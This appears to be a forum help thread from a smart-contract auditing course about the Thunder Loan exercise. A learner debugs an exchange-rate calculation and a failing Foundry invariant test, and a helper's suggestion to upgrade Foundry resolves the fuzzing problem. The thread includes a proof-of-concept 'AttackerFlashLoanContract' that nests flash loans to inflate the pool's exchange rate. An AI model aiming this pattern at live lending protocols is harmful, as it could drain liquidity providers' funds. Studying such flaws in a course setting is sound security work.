I need HELP!!!! section 6 thunder loan

[jupiter-Pulin]

Detailed Calculation
Assumptions:

Initial deposit = 1000e18 tokens
Flash loan amount = AMOUNT
Fee = 30e15 (0.03 ETH)
Initial exchangeRate = 1e18

First flash loan:

New exchangeRate = 1e18 * (1000e18 + 0.03e18) / 1000e18 = 1.00003e18
Tokens in the pool = 1000e18 + 0.03e18 = 1000.03e18

Second flash loan:

New exchangeRate = 1.00003e18 * (1000e18 + 0.03e18) / 1000e18 = 1.00006e18
Tokens in the pool = 1000.03e18 + 0.03e18 = 1000.06e18

Redemption calculation:

LP-owned assetToken = 1000e18
Base tokens to be received = 1000e18 * 1.00006e18 / 1e18 = 1000.06e18

According to this calculation, the tokens in the pool should exactly match the amount needed for redemption, but an error occurred in practice. This is indeed strange.

This is my detailed code:

AssetToken assetToken = thunderLoan.getAssetFromToken(tokenA);
AttackerFlashLoanContract flc = new AttackerFlashLoanContract(
    thunderLoan,
    assetToken
);

uint256 amountToBorrow = AMOUNT;
uint256 fee = thunderLoan.getCalculatedFee(tokenA, amountToBorrow);
console2.log("startFee is ", fee);
tokenA.mint(address(flc), fee * 2);
// Start calling balance
vm.startPrank(user);
console2.log("start flash loan !!!");
thunderLoan.flashloan(address(flc), tokenA, amountToBorrow, "");
vm.stopPrank();
console2.log("exchange rate :", assetToken.getExchangeRate());

vm.startPrank(liquidityProvider);
thunderLoan.redeem(tokenA, assetToken.balanceOf(liquidityProvider));
assert(tokenA.balanceOf(liquidityProvider) > DEPOSIT_AMOUNT);
console2.log(
    "tokenA.balanceOf(liquidityProvider)  ",
    tokenA.balanceOf(liquidityProvider)
); // 10,0005,9940,9581,4275,5000

console2.log("end fls balance is  ", tokenA.balanceOf(address(flc)));

My receiver contract:

// SPDX-License-Identifier: MIT
pragma solidity 0.8.20;
import {IFlashLoanReceiver} from "../../src/interfaces/IFlashLoanReceiver.sol";
import {ThunderLoan} from "../../src/protocol/ThunderLoan.sol";
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import {AssetToken} from "../../src/protocol/AssetToken.sol";

contract AttackerFlashLoanContract is IFlashLoanReceiver {
    ThunderLoan public thunderLoan;
    bool attacked = false;
    AssetToken public assetToken;

    event Operationexecute(uint256);

    constructor(ThunderLoan _thunderLoan, AssetToken _assetToken) {
        thunderLoan = _thunderLoan;
        assetToken = _assetToken;
    }

    function executeOperation(
        address token,
        uint256 amount,
        uint256 fee,
        address /*initiator*/,
        bytes calldata /*params*/
    ) external returns (bool) {
        if (!attacked) {
            attacked = true;
            thunderLoan.flashloan(address(this), IERC20(token), amount, "");
            IERC20(token).approve(address(thunderLoan), amount + fee);
            //thunderLoan.repay(IERC20(token), amount + fee);
            IERC20(token).transfer(address(assetToken), amount + fee);
            emit Operationexecute(amount + fee);
            return true;
        }
        else {
            IERC20(token).approve(address(thunderLoan), amount + fee);
            // thunderLoan.repay(IERC20(token), amount + fee);
            IERC20(token).transfer(address(assetToken), amount + fee);
            emit Operationexecute(amount + fee);
            return true;
        }
    }
}

logs:

Logs:
  startFee is  30000000000000000
  start flash loan !!!
  exchange rate : 1000060000900000000

 AssetToken::getExchangeRate() [staticcall]
    │   └─ ← [Return] 1000060000900000000 [1e18]
    ├─ [0] console::log("exchange rate :", 1000060000900000000 [1e18]) [staticcall]
    │   └─ ← [Stop] 
    ├─ [0] VM::startPrank(0x000000000000000000000000000000000000007B)
    │   └─ ← [Return] 
    ├─ [852] AssetToken::balanceOf(0x000000000000000000000000000000000000007B) [staticcall]
    │   └─ ← [Return] 1000000000000000000000 [1e21]
    ├─ [15032] ERC1967Proxy::fallback(ERC20Mock: [0x5991A2dF15A8F6A256D3Ec51E99254Cd3fb576A9], 1000000000000000000000 [1e21])
    │   ├─ [14539] ThunderLoan::redeem(ERC20Mock: [0x5991A2dF15A8F6A256D3Ec51E99254Cd3fb576A9], 1000000000000000000000 [1e21]) [delegatecall]
    │   │   ├─ [520] AssetToken::getExchangeRate() [staticcall]
    │   │   │   └─ ← [Return] 1000060000900000000 [1e18]
    │   │   ├─ [370] AssetToken::EXCHANGE_RATE_PRECISION() [staticcall]
    │   │   │   └─ ← [Return] 1000000000000000000 [1e18]
    │   │   ├─ emit Redeemed(account: 0x000000000000000000000000000000000000007B, token: ERC20Mock: [0x5991A2dF15A8F6A256D3Ec51E99254Cd3fb576A9], amountOfAssetToken: 1000000000000000000000 [1e21], amountOfUnderlying: 1000060000900000000000 [1e21])
    │   │   ├─ [3551] AssetToken::burn(0x000000000000000000000000000000000000007B, 1000000000000000000000 [1e21])
    │   │   │   ├─ emit Transfer(from: 0x000000000000000000000000000000000000007B, to: 0x0000000000000000000000000000000000000000, value: 1000000000000000000000 [1e21])
    │   │   │   └─ ← [Stop] 
    │   │   ├─ [3827] AssetToken::transferUnderlyingTo(0x000000000000000000000000000000000000007B, 1000060000900000000000 [1e21])
    │   │   │   ├─ [1563] ERC20Mock::transfer(0x000000000000000000000000000000000000007B, 1000060000900000000000 [1e21])
    │   │   │   │   └─ ← [Revert] ERC20InsufficientBalance(0xa38D17ef017A314cCD72b8F199C0e108EF7Ca04c, 1000060000000000000000 [1e21], 1000060000900000000000 [1e21])
    │   │   │   └─ ← [Revert] ERC20InsufficientBalance(0xa38D17ef017A314cCD72b8F199C0e108EF7Ca04c, 1000060000000000000000 [1e21], 1000060000900000000000 [1e21])
    │   │   └─ ← [Revert] ERC20InsufficientBalance(0xa38D17ef017A314cCD72b8F199C0e108EF7Ca04c, 1000060000000000000000 [1e21], 1000060000900000000000 [1e21])
    │   └─ ← [Revert] ERC20InsufficientBalance(0xa38D17ef017A314cCD72b8F199C0e108EF7Ca04c, 1000060000000000000000 [1e21], 1000060000900000000000 [1e21])
    └─ ← [Revert] ERC20InsufficientBalance(0xa38D17ef017A314cCD72b8F199C0e108EF7Ca04c, 1000060000000000000000 [1e21], 1000060000900000000000 [1e21])

[EngrPips]

Hello, @jupiter-Pulin, Can you print out the AssetToken underlying asset balance just before the liquidity provider redeem their underlying token and let's see what the contract holds

[EngrPips]

so it is not my test code wrong ,right?

I have another question. I'm trying to write fuzz tests for thunderloan (of course, this is all being done with the exchangeRate in the deposit function commented out). It seems like there might be a Foundry environment configuration issue, as I consistently can't get a single randomized test to run. After the handler is called, apart from the constructor initialization, none of the other code can be tested properly

invariant test:

// SPDX-License-Identifier: MIT
pragma solidity 0.8.20;
import {StdInvariant} from "forge-std/StdInvariant.sol";
import {ThunderLoan} from "../../src/protocol/ThunderLoan.sol";
import {AssetToken} from "../../src/protocol/AssetToken.sol";
import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import {MockTSwapPool} from "../mocks/MockTSwapPool.sol";
import {MockPoolFactory} from "../mocks/MockPoolFactory.sol";
import {BaseTest} from "../unit/BaseTest.t.sol";
import {Handler} from "./Handler.sol";
import {console2} from "forge-std/console2.sol";

contract Invariant is StdInvariant, BaseTest {
    AssetToken public assetTokenA;
    AssetToken public assetTokenWeth;
    address liquidityProvider = address(123);
    uint256 constant AMOUNT = 10e18;
    uint256 constant DEPOSIT_AMOUNT = AMOUNT * 100;
    address user = address(456);
    Handler public handler;


    bytes4[] selectors;

    function setUp() public override {
        super.setUp();
        vm.deal(user, 10 ether);
        vm.deal(liquidityProvider, 10 ether);
        //set allow token
        vm.startPrank(thunderLoan.owner());
        assetTokenA = thunderLoan.setAllowedToken(tokenA, true);
        assetTokenWeth = thunderLoan.setAllowedToken(weth, true);
        vm.stopPrank();
        //mint and approve oken
        tokenA.mint(liquidityProvider, DEPOSIT_AMOUNT);
        weth.mint(liquidityProvider, DEPOSIT_AMOUNT);
        vm.startPrank(liquidityProvider);
        tokenA.approve(address(thunderLoan), DEPOSIT_AMOUNT);
        weth.approve(address(thunderLoan), DEPOSIT_AMOUNT);

        thunderLoan.deposit(tokenA, DEPOSIT_AMOUNT);
        thunderLoan.deposit(weth, DEPOSIT_AMOUNT);
        vm.stopPrank();
        tokenA.mint(user, AMOUNT);

        //start from handler !!!
        console2.log("now let's begain the handler!!!! ");
        handler = new Handler(thunderLoan, weth, tokenA, user);
        console2.log("handler has been created!!!!");
        selectors = new bytes4[](6);
        console2.log("it is time to set the selector!!!");
        selectors[0] = handler.depositWethInTuhunderLoan.selector;
        selectors[1] = handler.depositTokenAInTuhunderLoan.selector;
        selectors[2] = handler.redeemWethInTuhunderLoan.selector;
        selectors[3] = handler.redeemTokenAInTuhunderLoan.selector;
        selectors[4] = handler.flashloanWethInTuhunderLoan.selector;
        selectors[5] = handler.flashloanTokenAInTuhunderLoan.selector;
        console2.log("selector has been set!!!!");
        targetSelector(
            FuzzSelector({addr: address(handler), selectors: selectors})
        );
        console2.log("now let us set the target selector and contract!!!");
        targetContract(address(handler));
        console2.log("all has been set!!!!");
    }

    function invariant_testInvariant() external view {

        console2.log("start test exchange rate !!!!!!!");
        assert(handler.endedExchangeRate() > handler.startExchangeRate());
    }

    function invariant_liquidityProviderCanRedeem() external {
     
        vm.startPrank(liquidityProvider);
        //approve first
        assetTokenA.approve(
            address(thunderLoan),
            assetTokenA.balanceOf(liquidityProvider)
        );
        assetTokenWeth.approve(
            address(thunderLoan),
            assetTokenWeth.balanceOf(liquidityProvider)
        );


        thunderLoan.redeem(weth, assetTokenWeth.balanceOf(liquidityProvider));
        thunderLoan.redeem(tokenA, assetTokenA.balanceOf(liquidityProvider));
        vm.stopPrank();
        assert(tokenA.balanceOf(liquidityProvider) > DEPOSIT_AMOUNT);
        assert(weth.balanceOf(liquidityProvider) > DEPOSIT_AMOUNT);
    }
}

handler

// SPDX-License-Identifier: MIT
pragma solidity 0.8.20;

import {ThunderLoan} from "../../src/protocol/ThunderLoan.sol";
import {AssetToken} from "../../src/protocol/AssetToken.sol";
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import {Test, console2} from "forge-std/Test.sol";
import {ERC20Mock} from "../mocks/ERC20Mock.sol";

import {AttackerFlashLoanContract} from "../auditTest/AttackerFlashLoanContract.sol";

contract Handler is Test {

    ThunderLoan thunderloan;
    ERC20Mock weth;
    ERC20Mock tokenA;

    AssetToken assetTokenA;
    AssetToken assetWeth;
    AttackerFlashLoanContract atflcTockenA;
    AttackerFlashLoanContract atflcWeth;

    uint256 constant MAX_DEPOSIT_AMOUNT = 100e18;
    uint256 constant MAX_BORROW_AMOUNT = 10e18;
    address public user;

    uint256 public startExchangeRate;
    uint256 public endedExchangeRate;

    constructor(
        ThunderLoan _thunderloan,
        ERC20Mock _weth,
        ERC20Mock _tokenA,
        address _user
    ) {
        thunderloan = _thunderloan;
        weth = _weth;
        tokenA = _tokenA;
        user = _user;
        assetTokenA = thunderloan.getAssetFromToken(tokenA);
        assetWeth = thunderloan.getAssetFromToken(weth);
        atflcTockenA = new AttackerFlashLoanContract(thunderloan, assetTokenA);
        atflcWeth = new AttackerFlashLoanContract(thunderloan, assetWeth);
        console2.log("Initial startExchangeRate: ", startExchangeRate);
        console2.log("Initial endedExchangeRate: ", endedExchangeRate);
        startExchangeRate = assetWeth.getExchangeRate();
        endedExchangeRate = startExchangeRate;
    }

    ///////////////////////////////////////////////////////////////
    //                              deposit
    ///////////////////////////////////////////////////////////////


    function depositWethInTuhunderLoan(uint256 _amount) external {
        console2.log("start deposit !!!");
        uint256 amount = bound(_amount, 1, MAX_DEPOSIT_AMOUNT);
        if (IERC20(weth).balanceOf(user) < amount) {
            weth.mint(user, amount);
        }
        //check exchangeRate first !
        startExchangeRate = assetWeth.getExchangeRate();
        vm.startPrank(user);
        IERC20(weth).approve(address(thunderloan), amount);
        thunderloan.deposit(weth, amount);
        vm.stopPrank();
        endedExchangeRate = assetWeth.getExchangeRate();
    }


    function depositTokenAInTuhunderLoan(uint256 _amount) external {
        console2.log("start deposit !!!");
        uint256 amount = bound(_amount, 1, MAX_DEPOSIT_AMOUNT);
        if (IERC20(tokenA).balanceOf(user) < amount) {
            tokenA.mint(user, amount);
        }
        //check exchangeRate first !
        startExchangeRate = assetTokenA.getExchangeRate();
        vm.startPrank(user);
        IERC20(tokenA).approve(address(thunderloan), amount);
        thunderloan.deposit(tokenA, amount);
        vm.stopPrank();
        endedExchangeRate = assetTokenA.getExchangeRate();
    }


    ///////////////////////////////////////////////////////////////
    //                              redeem
    ///////////////////////////////////////////////////////////////
    function redeemWethInTuhunderLoan(uint256 _amountOfAssetToken) external {
        console2.log("start redeeem !!!");
        if (assetWeth.balanceOf(user) < _amountOfAssetToken) {
            return;
        }
        uint256 amountOfAssetToken = bound(
            _amountOfAssetToken,
            1,
            assetWeth.balanceOf(user)
        );
        //check exchangeRate first !
        startExchangeRate = assetWeth.getExchangeRate();
        vm.startPrank(user);
        assetWeth.approve(address(thunderloan), amountOfAssetToken);
        thunderloan.redeem(weth, amountOfAssetToken);
        vm.stopPrank();
        endedExchangeRate = assetWeth.getExchangeRate();
    }

    function redeemTokenAInTuhunderLoan(uint256 _amountOfAssetToken) external {
        console2.log("start redeem !!!");
        if (assetTokenA.balanceOf(user) < _amountOfAssetToken) {
            return;
        }
        uint256 amountOfAssetToken = bound(
            _amountOfAssetToken,
            1,
            assetTokenA.balanceOf(user)
        );
        //check exchangeRate first !
        startExchangeRate = assetTokenA.getExchangeRate();
        vm.startPrank(user);
        assetTokenA.approve(address(thunderloan), amountOfAssetToken);
        thunderloan.redeem(tokenA, amountOfAssetToken);
        vm.stopPrank();
        endedExchangeRate = assetTokenA.getExchangeRate();
    }

    ///////////////////////////////////////////////////////////////
    //                              flashloan
    ///////////////////////////////////////////////////////////////
    function flashloanWethInTuhunderLoan(uint256 _amount) external {
        console2.log("start flashloan !!!");
        uint256 amount = bound(_amount, 1, MAX_BORROW_AMOUNT);
        //check exchangeRate first!
        startExchangeRate = assetWeth.getExchangeRate();
        uint256 fee = thunderloan.getCalculatedFee(weth, amount);
        if (IERC20(weth).balanceOf(address(atflcWeth)) < fee) {
            weth.mint(address(atflcWeth), fee);
        }
        vm.startPrank(user);
        thunderloan.flashloan(address(atflcWeth), weth, amount, "");
        vm.stopPrank();
        endedExchangeRate = assetWeth.getExchangeRate();
    }

    function flashloanTokenAInTuhunderLoan(uint256 _amount) external {
        console2.log("start flashloan !!!");
        uint256 amount = bound(_amount, 1, MAX_BORROW_AMOUNT);
        //check exchangeRate first!
        startExchangeRate = assetTokenA.getExchangeRate();
        uint256 fee = thunderloan.getCalculatedFee(tokenA, amount);
        if (IERC20(tokenA).balanceOf(address(atflcTockenA)) < fee) {
            tokenA.mint(address(atflcTockenA), fee);
        }
        vm.startPrank(user);
        thunderloan.flashloan(address(atflcTockenA), tokenA, amount, "");
        vm.stopPrank();
        endedExchangeRate = assetTokenA.getExchangeRate();
    }
}

here is my logs:

[FAIL: failed to set up invariant testing environment: panic: assertion failed (0x01)] invariant_testInvariant() (runs: 0, calls: 0, reverts: 0)
Logs:
  now let's begain the handler!!!! 
  Initial startExchangeRate:  0
  Initial endedExchangeRate:  0
  handler has been created!!!!
  it is time to set the selector!!!
  selector has been set!!!!
  now let us set the target selector and contract!!!
  all has been set!!!!

It could be some rounding issue too I am unsure. For the invariant testing it seems like you did it correctly. If you had made any mistake while setting up the invariant test suite you should try runnning forge clean and deleting the cache folder so that the invariant test suite could run from a clean slate.

[jupiter-Pulin]

What is a rounding issue? I've already tried running forge clean and deleting the cache folder, but it's still the same problem. Does Foundry require configuring certain variables to perform fuzzing tests?

[EngrPips]

Rounding issues generally mean we lose precision. Have you tried upgrading foundry with foundryup sometimes if foundry needs update things might not work as expected.

[jupiter-Pulin]

I fixed it!! just upgraded foundry !thanks bro

[EngrPips]

Any time, Friend. Keep crushing it.